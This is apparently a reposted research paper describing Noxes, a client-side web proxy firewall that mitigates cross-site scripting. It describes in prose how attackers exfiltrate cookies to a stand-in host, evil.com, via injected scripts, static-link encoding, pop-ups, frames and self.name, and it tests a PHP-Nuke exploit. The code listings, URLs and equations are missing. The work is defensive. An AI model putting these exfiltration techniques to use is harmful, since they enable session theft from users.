People's Newsroom

CROSS-SITE SCRIPTING PROTECTION

Web applications are becoming the dominant way to provide access to online services. At the same time, web application vulnerabilities are being discovered and disclosed at an alarming rate. Web applications often make use of JavaScript code that is embedded into web pages to support dynamic client-side behavior. This script code is executed in the context of the user’s web browser. To protect the user’s environment from malicious JavaScript code, browsers use a sandboxing mechanism that limits a script to access only resources associated with its origin site. Unfortunately, these security mechanisms fail if a user can be lured into downloading malicious JavaScript code from an intermediate, trusted site. In this case, the malicious script is granted full access to all resources (e.g., authentication tokens and cookies) that belong to the trusted site. Such attacks are called cross-site scripting (XSS) attacks.

In general, XSS attacks are easy to execute but difficult to detect and prevent. One reason is the high flexibility of HTML encoding schemes, offering the attacker many possibilities for circumventing server-side input filters that should prevent malicious scripts from being injected into trusted sites. Also, devising a client-side solution is not easy because of the difficulty of identifying JavaScript code as being malicious. Noxes, which is, one of the best, is the first client-side solution to mitigate cross-site scripting attacks. Noxes acts as a web proxy and uses both manual and automatically generated rules to mitigate possible cross-site scripting attempts. Noxes effectively protects against information leakage from the user’s environment while requiring minimal user interaction and customization effort.

For example, consider the case of a user who accesses the popular trusted.com website to perform sensitive operations (e.g., online banking). The web-based application on trusted.com uses a cookie to store sensitive session information in the user’s browser. Note that, because of the same-origin policy, this cookie is accessible only to JavaScript code downloaded from a trusted.com web server. However, the user may also be browsing a malicious website, say evil.com, and could be tricked into clicking on the following link:

When the user clicks on the link, an HTTP request is sent by the user’s browser to the trusted.com web server, requesting the page

The trusted.com web server receives the request and checks if it has the resource which is being requested. When the trusted.com host does not find the requested page, it will return an error message. The web server may also decide to include the requested file name in the return message to specify which file was not found. If this is the case, the file name (which is actually a script) will be sent from the trusted.com webserver to the user’s browser and will be executed in the context of the trusted.com origin. When the script is executed, the cookie set by trusted.com will be sent to the malicious website as a parameter to the invocation of the steal-cookie.php server-side script. The cookie will be saved and can later be used by the owner of the evil.com site to impersonate the unsuspecting user with respect to trusted.com.

The example above shows that it is possible to compromise the security of a user’s environment even though neither the sand-boxing nor the same-origin policy was violated. Unfortunately, vulnerabilities that can be exploited by XSS attacks are common. For example, by analyzing the Common Vulnerabilities and Exposures entries (including candidate entries) from 2001 to 2009, we identified 4541 cross-site scripting vulnerabilities. Note that this is only a partial account of the actual number of XSS vulnerabilities since there are a number of ad hoc web-based applications that have been developed internally by companies to provide customized services. Many of the security flaws in these applications have not yet been discovered or made public.

One reason for the popularity of XSS vulnerabilities is that developers of web-based applications often have little or no security background. Moreover, business pressure forces these developers to focus on the functionality for the end-user and to work under strict time constraints, without the resources (or the knowledge) necessary to perform a thorough security analysis of the applications being developed. The result is that poorly developed code, riddled with security flaws, is deployed and made accessible to the whole Internet. Currently, XSS attacks are dealt with by fixing the serverside vulnerability, which is usually the result of improper input validation routines. While being the obvious course of action, this approach leaves the user completely open to abuse if the vulnerable website is not willing or able to fix the security issue. For example, this was the case for e-Bay, in which a known XSS vulnerability was not fixed for months. A complementary approach is to protect the user’s environment from XSS attacks. This requires means to discern malicious JavaScript code downloaded from a trusted website from normal JavaScript code, or techniques to mitigate the impact of cross-site scripting attacks.

TYPES OF XSS ATTACKS

Three distinct classes of XSS attacks exist: DOM-based attacks, stored attacks, and reflected attacks. In a stored XSS attack, the malicious JavaScript code is permanently stored on the target server (e.g., in a database, in a message forum, or in a guestbook). In a DOM-based attack, the vulnerability is based on the Document Object Model (DOM) of the page. Such an attack can happen if the JavaScript in the page accesses a URL parameter and uses this information to write HTML to the page. In a reflected XSS attack, on the other hand, the injected code is ‘‘reflected’’ off the web server, such as in an error message or a search result that may include some or all of the input sent to the server as part of the request. Reflected XSS attacks are delivered to the victims via e-mail messages or links embedded on other web pages. When a user clicks on a malicious link or submits a specially crafted form, the injected code travels to the vulnerable web application and is reflected back to the victim’s browser.

The reader is referred to (CERT, 2000) for information on the wide range of possible XSS attacks and the damages the attacker may cause. There are a number of input validation and filtering techniques that web developers can use in order to prevent XSS vulnerabilities. However, these are server-side solutions over which the end-user has no control. The easiest and most effective client-side solution to the XSS problem for users is to deactivate JavaScript in their browsers. Unfortunately, this solution is often not feasible because a large number of websites use JavaScript for navigation and enhanced presentation of information. Thus, a novel solution to the XSS problem is necessary to allow users to execute JavaScript code in a more secure fashion. As a step in this direction, Noxes, a personal web firewall that helps mitigate XSS attacks (Note that Noxes focuses on the mitigation of stored and reflected XSS attacks).

THE NOXES TOOL

Noxes is a Microsoft-Windows-based personal web firewall application that runs as a background service on the desktop of a user. The development of Noxes was inspired by Windows personal firewalls that are widely used on PCs and notebooks today. Popular examples of such firewalls are Tiny, ZoneAlarm, Kerio, and Norton Personal Firewall. Personal firewalls provide the user with fine-grained control over the incoming connections that the local machine is receiving and the outgoing connections that running applications are making. The idea is to block and detect malware such as worms and spyware, and to protect users against remotely exploitable vulnerabilities. Personal firewalls are known to be quite effective in mitigating certain types of security threats such as exploit-based worm outbreaks.

Typically, a personal firewall prompts the user for action if a connection request is detected that does not match the firewall rules. The user can then decide to block the connection, allow it, or create a permanent rule that specifies what should be done if such a request is detected again in the future. Although personal firewalls play an essential role in protecting users from a wide range of threats, they are ineffective against web-based client-side attacks, such as XSS attacks. This is because, in a typical configuration, the personal firewall will allow the browser of the user to make outgoing connections to any IP address with the destination port of 80 (i.e., HTTP) or 443 (i.e., HTTPS). Therefore, an XSS attack that redirects a login form from a trusted web page to the attacker’s server will not be blocked. Noxes provides an additional layer of protection that existing personal firewalls do not support. The main idea is to allow the user to exert control over the connections that the browser is making, just as personal firewalls allow a user to control the Internet connections received by or originating from processes running on the local machine. Noxes operates as a web proxy that fetches HTTP requests on behalf of the user’s browser. Hence, all web connections of the browser pass through Noxes and can either be blocked or allowed based on the current security policy.

Analogous to personal firewalls, Noxes allows the user to create filter rules (i.e., firewall rules) for web requests. There are three ways of creating rules:

Manual creation. The user can open the rule database manually and enter a set of rules. When entering a rule, the user has the possibility of using wild cards and can choose to permit or deny requests matching the rule. For example, a permit rule like www.yahoo.com* allows all web requests sent to the domain www.yahoo.com, while a deny rule such as www.tuwien.ac.at/images* blocks all requests to the ‘‘images’’ directory of the domain www.tuwien.ac.at.

Firewall prompts. The user can interactively create a rule whenever a connection request is made that does not match any existing rule, in a way similar to what is provided by most personal firewalls. For example, if no rule exists for the request www.news.yahoo.com/index.html, the user is shown a dialog box to permit or deny the request. The user can also use a pop-up list for creating a rule from a list of possible general rules such as www.news.yahoo.com/*, *.news.yahoo.com/* or *.yahoo.com/*. In addition, the user can specify if the rule being created should be permanent or should just be active for the current browsing session only. Temporary rules are useful for websites that the user does not expect to visit often. Hence, having temporary rules helps prevent the rule-base from growing too large, and at the same time reduces the number of prompts that the user will receive because of web requests to unknown websites.

Snapshot mode. The user can use the special snapshot mode integrated into Noxes to create a ‘‘browsing profile’’ and automatically generate a set of permit rules. The user first starts by activating the snapshot mode and then starts surfing. When the snapshot mode is activated, Noxes tracks and collects the domains that have been visited by the browser. The user can then automatically generate permanent filter rules based on the list of domains collected during a specific session.  Note that after new rules have been created, the user can modify or delete the rules as she sees fit.

A personal web firewall, in theory, will help mitigate XSS attacks because the attacker will not be able to send sensitive information (e.g., cookies or session IDs) to a server under her control without the user’s knowledge. For example, if the attacker is using injected JavaScript to send sensitive information to the server evil.com, the tool will raise an alarm because no filter rule will be found for this domain. Hence, the user will have the opportunity to check the details of this connection and cancel the request.

DETECTING XSS ATTACKS

Unfortunately, a web firewall as described previously is not particularly usable in practice because it raises an unacceptably large number of alerts and requires excessive user interaction. Consider the example of a user that queries a search engine to find some information about a keyword and has received a list of relevant links. Each time the user selects one of the links, she is directed to a new, possibly unknown website and she is prompted for action. Clearly, it is cumbersome and time-consuming for the user to create many new rules each time she searches for something. Unlike a personal firewall, which will have a set of filter rules that do not change over a long period of time, a personal web firewall has to deal with filter rule sets that are flexible; a result of the highly dynamic nature of the web.

In a traditional firewall, a connection is opened to an unknown port by a previously unknown application is clearly a suspicious action. On the web, however, pages are linked to each other and it is perfectly normal for a web page to have links to web pages in domains that are unknown to the user. Hence, a personal web firewall that should be useful in practice must support some optimization to reduce the need to create rules. At the same time, the firewall has to ensure that security is not undermined. An important observation is that all links that are statically embedded in a web page can be considered safe with respect to XSS attacks. That is, the attacker cannot directly use static links to encode sensitive user data. The reason is that all static links are composed by the server before any malicious code at the client can be executed. An XSS attack, on the other side, can only succeed after the page has been completely retrieved by the browser and the script interpreter is invoked to execute malicious code on that page. In addition, all local links can implicitly be considered safe as well. An adversary, after all, cannot use a local link to transfer sensitive information to another domain; external links have to be used to leak information to other domains.

Based on these observations, we extended our system with the capability to analyze all web pages for embedded links. That is, every time Noxes fetches a web page on behalf of the user, it analyzes the page and extracts all external links embedded in that page. Then, temporary rules are inserted into the firewall that allows the user to follow each of these external links once without being prompted. Because each statically embedded link can be followed without receiving a connection alert, the impact of Noxes on the user is significantly reduced. Links that are extracted from the web page include HTML elements with the href and src attributes and the URL identifier in Cascading Style Sheet (CSS) files. The filter rules are stored with a timestamp and if the rule is not used for a certain period of time, it is deleted from the list by a garbage collector.

Using the previously described technique, all XSS attacks can be prevented in which a malicious script is used to dynamically encode sensitive information in a web request to the attacker’s server. The reason is that there exists no temporary rule for this request because no corresponding static link is present on the web page. Note that the attacker could still initiate a denial-of-service (DoS) XSS attack that does not transfer any sensitive information. For example, the attacker could simply force the browser window to close. Such denial-of-service attacks, however, are beyond the scope of our work as Noxes solely focuses on the mitigation of the more subtle and dangerous class of XSS attacks that aim to steal information from the user. It is also possible to launch an XSS attack and inject HTML code instead of JavaScript. Since such attacks pose no threat to cookies and session IDs, they are no issue for Noxes.  

When Noxes receives a request to fetch a page, it goes through several steps to decide if the request should be allowed. It first uses a simple technique to determine if a request for a resource is a local link. This is achieved by checking the Referer HTTP header and comparing the domain in the header to the domain of the requested web page. Domain information is determined by splitting and parsing URLs (the ‘‘.’’ character in the domain name is used for splitting). For example, the hosts client1.tucows.com and www.tucows.com will both be identified by Noxes as being in the domain tucows.com. If the domains are found to be identical, the request is allowed. If a request being fetched is not in the local domain, Noxes then checks to see if there is a temporary filter rule for the request. If there is a temporary rule, the request is allowed. If not, Noxes checks its list of permanent rules to find a matching rule. If no rules are found matching the request, the user is prompted for action and can decide manually if the request should be allowed or blocked.

RELIABILITY OF THE REFERER HEADER

Noxes makes use of the HTTP Referer header to determine whether a link is local or not. This raises the question of whether an attacker could tamper with this header. If an attacker were able to tamper with the Referer header, she could disguise a dangerous remote link as a harmless local link and steal sensitive user information. Fortunately, using the Referer header is safe because the attacker has no means of spoofing or changing it. The reason is that JavaScript does not allow the Referer HTTP header to be modified (more specifically, JavaScript error messages are generated by Internet Explorer, Mozilla, and Opera in case of such accesses).

Apart from the question of whether an attacker is able to modify the Referer header (which is not possible), another issue is under which conditions the Referer header is present in a request. According to the HTTP specification, this header is optional. However, all popular browsers such as Internet Explorer, Opera, and Mozilla make use of it. Note that the Referer header is regularly missing in a request in two cases:

  • When a user manually types the target URL into the browser’s location bar
  • When she clicks on a link inside an email

Noxes always allows requests without a Referer header to pass, which is safe in both of the cases above because the corresponding requests cannot contain sensitive information, even when the request causes malicious JavaScript to be loaded. The server then returns the requested page containing malicious JavaScript. As soon as this malicious code attempts to transmit sensitive data to the attacker’s server, the Referer header is present again. Hence, the defense mechanisms of Noxes apply and can prevent the attack at this point.

Some users have privacy concerns with regard to the Referer header since they do not wish to provide information to the target server about how they have reached this page. Such users tend to disable the transmission of the Referer header, a feature that is easily accessible in modern browsers. The solution to this problem is straightforward: Noxes could first re-enable the transmission of the Referer header in the browser and, as a result, would possess the information that is necessary for shielding the user against XSS attacks. To protect the user’s privacy, Noxes could then remove the Referer header from the request that is forwarded to the destination server. This way, both privacy and security requirements can be satisfied.

HANDLING POST REQUESTS

The explanations so far only applied to GET requests, in which the data to be transmitted is encoded as part of the URL. POST requests, which are typically generated by users who fill out and submit HTML forms, are treated by Noxes in a different way under certain conditions. For local requests, there is no difference in the handling of GET and POST requests: In accordance with the previous discussion of local links, Noxes allows all local POST requests to pass. However, if Noxes detects that a POST request is non-local (i.e., a cross-domain posting), it always prompts the user to verify whether this request was really intended.

An immediate justification for the conservative treatment of non-local POST requests is that cross-domain postings are rather seldom in practice, and highly suspicious due to their ability to transfer sensitive information to an attacker’s domain. Another reason for this measure is that, to the best of our knowledge, reliably distinguishing between legitimate and illegitimate POST requests is very difficult, perhaps even impossible. This problem is illustrated by the following example. Consider a user that requests a vulnerable page from a trusted server. By exploiting an XSS vulnerability, an attacker has managed to inject a static HTML form into this page. This malicious form is designed to mimic a legitimate form that is used, in this example, for submitting postings to another trusted server hosted under a different domain. Since a duplicate form in the user’s browser window would be rather suspicious, the attacker could hide the legitimate form by means of JavaScript code. When the user submits the malicious form, another piece of JavaScript could replace the user’s inputs with sensitive data, which is then sent to evil.com instead of to the trusted server.  Obviously, the static link approach that Noxes applies for GET requests is not suitable for POST requests, as they separate the target URL (i.e., the form’s action attribute) from the transmitted data (whereas GET requests embed the data directly into the URL).

One possibility for handling this issue would be to extend Noxes with a tool integrated into the browser that can detect whether a POST request contains dynamic data. Such an extension would only allow static information and input that was really typed in by the user to appear in a POST request. However, this solution comes with two drawbacks. First, some websites might be enhancing legitimate forms with dynamic features to improve user experience (e.g., Google Suggest), resulting in false alarms. Second, even in the absence of dynamic content, the user is still advised to check whether the target of the submitted form really corresponds to what she expected. For instance, an attacker could also statically mimic a login form that eventually sends the user’s password to evil.com (a case of phishing by exploiting an XSS vulnerability).

To summarize, the conservative treatment of cross-domain postings is justified by the following two arguments:

  • Cross-domain postings occur very rarely in practice and are suspicious whenever they do occur.
  • Automatically distinguishing between legitimate and illegitimate POST requests is, so far, an unsolved problem.

MITIGATING ADVANCED XSS ATTACKS

The technique allows Noxes to detect and prevent XSS attacks that encode sensitive values dynamically into the URLs requested from a malicious server. However, a sophisticated attacker could attempt to bypass our protection mechanism, mainly using two different approaches. In one approach, external, static links already present in the documents could be exploited to leak information. In the following sections, we first consider a number of ways in which static links can be used to encode sensitive information, and we determine the maximum amount of bits per request that an attacker can leak. Based on this upper bound, we propose a defense mechanism that limits the amount of information that can be stolen by any single XSS attack. Here, discuss a second approach in which the attacker makes use of JavaScript on the client-side to leak sensitive information from one browser window into a second one. The idea is that for this second window, Noxes imposes fewer restrictions and information can be transferred more freely to the attacker. The following text explains both attack venues in more detail and shows how they can be closed.

BINARY ENCODING ATTACKS

Links that are statically embedded in an HTML page were considered safe. Unfortunately, this approach suffers from a security vulnerability. To see this, consider an attacker that embeds a large number of specially crafted, static links into the web page of the trusted site (in addition to the malicious script). Then, when the script is executed in the client’s browser, these links can be used to encode sensitive information. For example, the script could execute a simple loop to send cookie or session ID information bit-by-bit to a server under the attacker’s control, using one previously embedded static link for each bit. Suppose that the cookie consists of 100 bits. The attacker first inserts 100 unique pairs of static image references to her own domain (lines 3–9). The image references need to be unique because Noxes creates a temporary rule for each URL and promptly deletes it once it has been used. In the next step of the attack, the attacker goes through the cookie value bit-by-bit and uses the static references she has previously embedded to ‘‘encode’’ the sensitive information (lines 11–23). Because the attacker only uses static references in the page, the corresponding requests would be allowed by Noxes’ temporary rule set. As a consequence, the attacker can reconstruct the cookie value one bit at a time by checking and analyzing the logs of the web server at evil.com.

To address this type of XSS attack, an earlier version of Noxes takes the following measures: it only allows a maximum of k links to the same external domain, where k is a customizable threshold. If there are more than k links to an external domain on a page, none of them will be allowed by Noxes without user permission. Hence, each successful attack in which two links are used to encode a single bit value (one link to represent that this bit is 0, one link to represent that this bit is 1) will be able to leak only k/2 bits of sensitive information. For example, when k is 4, the attacker would have to make the victim visit at least 50 vulnerable pages to successfully steal a cookie that consists of 100 bits (leaking 4=2 ¼ 2 bits per page visit). Clearly, such an attack is very difficult to perform. Note that an alternative for the attacker would be to send a request for a bit only when its value is 1. If the bit is 0, the absence of a request can be used to infer the correct value. This way, he could reduce the number of vulnerable pages that the victim would have to visit from 50 to 25, which would still be a very difficult challenge for the attacker.

ATTACKS BASED ON N-ARY ALPHABETS

In binary encoding attacks, every link provided by the attacker is used to represent one bit. However, there is an even more advanced type of encoding-based attack in which the amount of information that is transmitted by a single link can be larger than just one bit. Intuitively, this can be demonstrated by the following extreme example: an attacker could inject a huge number of different static links into the vulnerable page, such that each link corresponds to a complete cookie value. This way, it would be sufficient for the attacker to issue just a single request in order to steal the complete cookie. Hence, one link would encode far more than just one bit of information. Of course, the enormous number of links that need to be injected for that purpose makes this particular attack infeasible.

Consider a smaller example

An attacker manages to inject eight static links (denoted as a through h) pointing to her own domain. If the attacker issues just one request to one of these targets, she can use the following mapping between the selected link and the transferred bits: a1000, b1001, c1010, and h1111. Hence, one link is capable of encoding three bits instead of one. Analogously, if the attacker chooses to issue two requests (such as ac or hb), a combination of two links is able to encode 56 distinct values (since there are 56 possibilities for choosing two elements from an eight-element set). This corresponds to an information amount of 5.8 (ld(56)) bits that can be transmitted with two requests. Note that since Noxes deletes a temporary rule for a static link after it has been used, the attacker cannot issue requests such as aa or cc. Moreover, the order of the requests is relevant (that is, ab encodes a different value than ba). In this sense, the links injected by the attacker represent the symbols of an alphabet for transmitting information, where each symbol can be used only once. This implies that an upper bound for the amount of information that can be transmitted via rd requests given an alphabet of nd static links to the attacker’s domain d is equal to:

The corresponding number of bits that can be leaked is computed as ld(Id). Note that Equation 1 represents the combinatorial formula that calculates the number of permutations (Id, in this case) of objects without repetition. Note that, in theory, it might be possible for the attacker to further increase the amount of information that is encoded by one link. The attacker could, for example, attempt to use timing information to encode bit values, issuing a request exactly at 12:22 to express a value of 01101010. In this case, the main difficulty for the attacker is that the clocks between the computers have to be synchronized. Hence, such an attack is extremely difficult to launch. These covert channel attacks are beyond the scope of our work, especially considering that most XSS attacks are launched against a large number of random users. However, our proposed technique makes such attacks more difficult, and, thus, it raises the bar for the attacker in any case.

DYNAMICALLY ENHANCED PROTECTION MECHANISM

With the explanations given in the previous section, we are now able to construct an enhanced protection mechanism based on the following observation: Even if a page contains more than k links to some external domain, it might still be safe for the user to click a small number of these links without leaking too much information. For instance, if there are eight external links, the user would only leak 3 bits when issuing the first request to this domain. Hence, it is overly conservative to prompt the user already for this first request (as the amount of information that can leak is limited). The question is, however, how many requests shall Noxes allow before issuing a warning? To answer this question, we can simply use Equation 1 from the previous section. With a given number of static links to an attacker’s domain and a (customizable) amount of information that we accept to be leaked, we can compute the number of requests that Noxes should allow to this domain. For example, assume that Noxes detects eight static links to the same external domain, and we do not wish that more than eleven bits of the user’s cookie leak to this domain. This enhanced approach has a clear advantage compared to the previous k-threshold technique.

For instance, if a page contains eight static links to an external domain, the previous technique (with a threshold value of k ¼ 4) would not allow the user to click any of these links without being prompted. Now, as mentioned, we can compute that it is safe for the user to click four of these links without risking that a significant fraction of her cookie is leaked. Thus, we are able to further increase the usability of Noxes by reducing the number of prompts that the user is confronted with. This enhancement is achieved by supplementing the previous static analysis of links contained in server replies with two mechanisms: The dynamic computation of the maximum number of permitted requests, and the observation of the requests actually performed.

Multi-domain attacks

Apart from an improvement in user experience, the mitigation technique presented in the previous section is also able to thwart multi-domain attacks. In the examples given so far, we have implicitly assumed that the attacker possesses only one domain that she can use as a destination for stealing information. However, an attacker could as well obtain multiple different domains. This way, she could keep her statically embedded links under the radar of our initial k-threshold approach. Since none of these domains is pointed to by more than four links, this attack would not be detected by the k-threshold approach.

JavaScript-based attacks

Another way in which an attacker could try to circumvent Noxes’ defense mechanisms is to make use of pop-up windows. By calling JavaScript’s open() function, the attacker creates a new pop-up window and initializes its contents with her own file at http://evil.com/steal.php. To prevent Noxes from generating a warning when steal.php is loaded, the attacker simply has to inject an appropriate static link along with the script.

The second parameter of open() has the effect that the built-in JavaScript name variable of the pop-up window receives the contents of the user’s cookies. At this point, the attacker has already succeeded in transferring sensitive cookie data from the original domain to her own domain. Inside the pop-up window, Noxes would allow the attacker to establish any connection to her own domain because all links in the pop-up window would be from the attacker’s domain and would be treated as being local. Hence, it would be easy for the attacker to read the pop-up window’s name (i.e., the cookie value) and send this value to a server under her control. Note that the transfer of values to pop-up windows is not limited to the name variable. With assignments such as the one shown on line 3, an attacker can create arbitrary JavaScript variables for the pop-up window.

There is a similar attack that achieves the same effect as the pop-up attack (i.e., the transfer of sensitive values to a foreign domain) through the misuse of frames. Assuming that the frame f0.html is vulnerable to XSS, an attacker could inject JavaScript into this frame. On line 1, this script sets the variable xyz of the parent frameset to the user’s cookie. On line 2, the content of one of the frames is replaced by the attacker’s file steal.php. In this file, the attacker has now access to the previously defined variable xyz. The reason is that steal.php now belongs to the frameset. Again, Noxes would not issue any warnings if the attacker continued by sending data to evil.com, since the transmission would be local. To mitigate pop-up and frame-based attacks, Noxes injects ‘‘controlling’’ JavaScript code at the beginning of all web pages that it fetches. More precisely, before returning a web page to the requesting browser, Noxes automatically inserts JavaScript code that is executed on the user’s browser. This script checks if the page that is being displayed is a pop-up window or a frame. If this is the case, the injected code checks the Referer header of the page to determine if the pop-up window or the frame has a ‘‘parent’’ that is from a different domain. If the domains differ, an alert message is generated that informs the user that there is a potential security risk. The user can decide if the operation should be canceled or continued.

Depicts a snippet of the automatically injected JavaScript code at the beginning of an HTML page that has been fetched. Because the injected JavaScript code is the first script on the page, the browser invokes it before any other scripts. Therefore, it is not possible for the attacker to write code to cancel or modify the operation of the injected JavaScript code. Finally, there exists an additional attack that resembles the pop-up and frame-based attacks.

This attack is based on the observation that reloading a page by means of the JavaScript variable self.location.href resets all variables except self.name. Hence, a domain transfer of cookie data can be achieved by assigning it to self.name on line 1, and then loading an attacker’s page through self.location.href on line 2. To address this problem, the ‘‘controlling’’ JavaScript provided by Noxes is extended with an additional check. First, it verifies whether the referrer’s domain differs from the domain of the current page. If they are different, this is an indication of an attempted value transfer to another domain. In this case, Noxes also inspects the current window’s name, since this is the only attribute that can be used for this purpose. If it is nonempty, Noxes raises an alarm. Note the differences compared to pop-up and frame-based attacks: The advantage (for an attacker) is that no pop-ups or frames are required. The disadvantage is that value transfer is only possible via self.- name, and not via arbitrary variables (as it is the case for the other two attacks).

A REAL-WORLD XSS PREVENTION EXAMPLE

Here, demonstrates the effectiveness of Noxes on a real-world vulnerability reported at the security mailing list Bugtraq. The vulnerability affects several versions of PHP-Nuke, a popular open-source web portal system. For the following test, we analyzed the vulnerable version 7.2 of PHP-Nuke and modified the harmless original proof-of-concept exploit to make it steal the victim’s cookie.

In a test environment, the server hosting PHP-Nuke was reachable at the IP address 128.131.172.126. The following exploit URL was used to launch a reflected XSS attack:

If the attacker manages to trick the victim into clicking on this link, the URL-encoded JavaScript embedded in the link is inserted into the server’s HTML output and sent back to the victim. The victim receives the following script:

Hence, the victim is immediately redirected to evil.com’s page and her cookie is attached to the request as a parameter. Noxes prevents this redirection since the malicious target URL is not static, but has been constructed dynamically in order to pass along the cookie. Apart from this example, in our tests, Noxes also successfully prevented the exploitation of the following vulnerabilities listed at Bugtraq: 10524 (PHP-Nuke 7.2), 13507 (MyBloggie 2.1.1), and 395988 (MyBloggie 2.1.1).

EVALUATION

Because we started the sniffer on the department Internet gateway and firewall server, we could be sure that we would see all web traffic generated by users of the department network. The captured web traffic in the dump files was around 30GB in size. We implemented an analysis tool in Java using the jpcap library and extracted information about 84,608 visited web pages from the dump files. By analyzing the traffic, we were able to determine how many static links each visited web page contained, how many of these links were pointing to external domains, how many external links were actually requested by the browser, and what the k-value was for each page. We used a Java utility called HTML parser to extract the static hyperlinks in the page by looking at HTML elements such as link, script, and img with attributes such as href and src. The fact that we captured 30GB of data, but extracted only 84,608 web pages, may surprise the reader. However, after analyzing the data, we observed that a significant amount of the web traffic volume was due to the download of automatic updates (both for Windows and Linux machines). Furthermore, several users were downloading large files from the Internet, such as movies and shareware applications.

The web pages contained a total of 6,460,952 links of which 724,438 pointed to external domains (about 11%). Of these external links, 173,917 (about 24%) were actually requested by the browser, either because the user clicked on a link or because the page contained elements that were automatically loaded. We then applied Equation 2 to our data set and calculated the information leakage for the visited web pages. More precisely, the graph depicts the number of web pages for which at most a certain amount of bits were leaked (for different values of information leakage). One can observe that about 55,000 of the visited pages would not have leaked any information and thus, all their links could be freely visited. If, for example, we would allow 20 bits of sensitive information to be leaked to the attacker, no firewall prompts would be generated for 79,379 of the visited pages (which is about 94%). We believe that leaking 20–30 bits is acceptable for a majority of websites. Gmail, for example, uses cookie values that are more than 200 bits in size, and Yahoo mail uses values that are more than 150 bits in size.

Furthermore, programming environments such as Java servlets and PHP typically generate session IDs that are two hundred bits in size. Also, Noxes would have required manual interaction in about 6% of the cases when external links or references were requested. We believe that this makes the tool usable in practice. When we analyzed the k-values of the extracted pages, we observed that with a default k-value of 4, no prompts would be generated for 92% of the visited pages. Given the results outlined above, we can conclude that our enhanced XSS mitigation technique performs as well as the k-value approach, while at the same time, providing a solution against security threats such as multi-domain attacks. Clearly, the idea of using application-level firewalls to mitigate security threats is not new. Several solutions have been proposed to protect web applications by inspecting HTTP requests in an attempt to prevent application-level attacks.

The main critique of such policy-based approaches is that the creation and management of security policies is a tedious and error-prone task. Similarly, there exists a commercial product called AppShield, which is a web application firewall proxy that apparently does not need security policies. AppShield claims that it can automatically mitigate web threats such as XSS attacks by learning from the traffic to a specific web application. Because the product is closed-source, it is impossible to verify this claim. Furthermore, AppShield is a plug-and-play application that can only do simple checks and thus, can only provide limited protection because of the lack of any security policies. The main difference in our approach with respect to existing solutions is that Noxes is a client-side solution. Furthermore, these solutions require the willingness of the service providers to invest in the security of their web applications and services. In cases where service providers are either unwilling or unable to fix their XSS vulnerabilities, users are left defenseless (e.g., e-Bay was reported to have several XSS vulnerabilities that were not fixed for several months although they were widely known by the public).

The main contribution of Noxes is that it provides protection against XSS attacks without relying on web application providers. To the best of our knowledge, Noxes is the first practical client-side solution for mitigating XSS attacks. It is worth noting that, besides proxy-based solutions, several software engineering techniques have also been presented for locating and fixing XSS vulnerabilities.  Although the proposed solutions are important contributions to web security, they can only have an impact if web developers use such tools to analyze and fix their applications. The ever-increasing number of reported XSS vulnerabilities, however, suggests that developers are still largely unaware of the XSS problem.

Back to top button